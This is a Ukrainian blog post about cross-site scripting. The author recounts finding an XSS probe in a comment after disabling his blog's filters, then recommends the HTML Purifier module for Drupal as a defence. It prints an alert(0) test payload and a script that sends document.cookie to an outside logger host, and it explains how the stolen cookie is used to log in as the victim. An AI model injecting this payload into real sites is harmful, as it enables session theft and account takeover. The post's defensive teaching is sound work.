<script>alert(0)</script> - XSS + боротьба


Я вже раніше писав про те, що для того, щоб навчитись кататись на лижах, потрібно навчитись падати.
Слова придумані не мною, але до теми цієї статті вони ой як підходять, правда в контексті того, "для навчання безпеці сайтів - спочатку потрібно навчитись взлому".

XSS - cross site scripting

От і сьогодні я майже попався 8)...
Благо, десь там ззаду є вже одна чи дві звилини від того, що колись читав і пробував ламати...
Вона і допомогла.

Отже - коментар на Вашому блозі.
Що Ви в першу чергу робитимете? Ясне діло - його вартує переглянути, бо "а раптом спам", чи "а раптом нарешті щось корисне".
От тільки я вже дуже давно знаю про те, що не варто заходити на сайт, після отримання на ньому щось нового, зареєстрованим користувачем чи то навіть адміном.

Але... Я зайшов... Ну знаєте як воно... Розпальцовка іноді заважає робити коректні речі. От і я клікнув, бо в полі коментаря було пусто. І перед вікном отримав банальне віконечко javascript alert - досить таки яскравий варіант того, що на сторінці, яку ви відкрили присутній код javascript, яким "кулхацкер" тестує Ваш сайт на предмет XSS.

Що таке XSS - завжди можна почитати в інтернеті, - коротко - це виконання на Вашому сайті коду, який там не повинен виконуватись.

Найчастіше з допомогою XSS - крадуть cookie, для того, щоб підставивши їх в свій броузер - зайти на сайт з правами того користувача, в якого вони були вкрадені.

Мій варіант - після мегачистки бази даних повимикав фільтри для коментарів, через що в поле коментаря можна було досить легко вписати javascript і він виконувався від імені того користувача(в даному випадку - мене).

<script>alert(0)</script>

Приклад вікна
Ну а далі все досить банально.
Замість тестованого коду вписується реальний код, який тим же javascript відсилає на інший сайт Ваші куки.
В моєму випадку код був ось такого вигляду

<script>
img = new Image(); img.src = "http://logger.site/any.gif?"+document.cookie;
</script>

В результаті, document.cookie підставляємо в ту ж оперу і заходимо на "взломаний сайт".

А тепер щодо боротьби...
В випадку, якщо Ви використовуєте якусь популярну CMS - варто глянути в наявні фільтри та додатки, які будуть викидати небезпечний код з матеріалів, що вводяться анонімними користувачами на Ваші сайти.

Я ж наведу приклад для Drupal - існує чудовий модуль HTML Чистильщик, який використовує широко відому в вузьких колах бібліотеку. Для тих, кому важко з "нерідною" - качайте переклад Українською.

Дану бібліотеку можна з легкістю встановити як незалежно від типу CMS, так і в складі будь-якої відомої системи керування сайтом, при умові, якщо вже придумали для неї додаток. Якщо ж не придумали - тоді можна і самому встановити, для цього читаєм відповідну документацію.

Які плюси? - ще до того, як інформація буде додана в базу Вашої системи керування сайтом - максимум лишнього буде викинуто.

Приклад роботи того ж HTML Чистильщика.
Деякі відомі XSS атаки, з яких можна частково зрозуміти що і як.

PS. Доречі - захист від XSS в Чистильщика - це всього навсього побічний ефект, який перетворився в круту фічу.

PPS. В будь-якому випадку, якщо Ви побачили такого роду вікно при вході на свій сайт - миттєво стирайте, міняйте паролі і обновляйте всі відомі дірки в Вашому програмному забезпеченні

Trackback URL for this post:

http://itua.name/en/trackback/670
Share this

Comment viewing options

Select your preferred way to display the comments and click "Save settings" to activate your changes.
Brun's picture

Kogueror не підтримує

Kogueror не підтримує JavaScript =)
Цей модуль теж ставив. Ставиться подібно до Highslide, FCKEditor,...
Демка з оффсайту http://htmlpurifier.org/demo.php

podarok_'s picture

konqueror XSS

Зате чудово підтримує свої власні XSS

Syndicate content Syndicate content

Партнери

Recent comments

експерименти

Rambler's Top100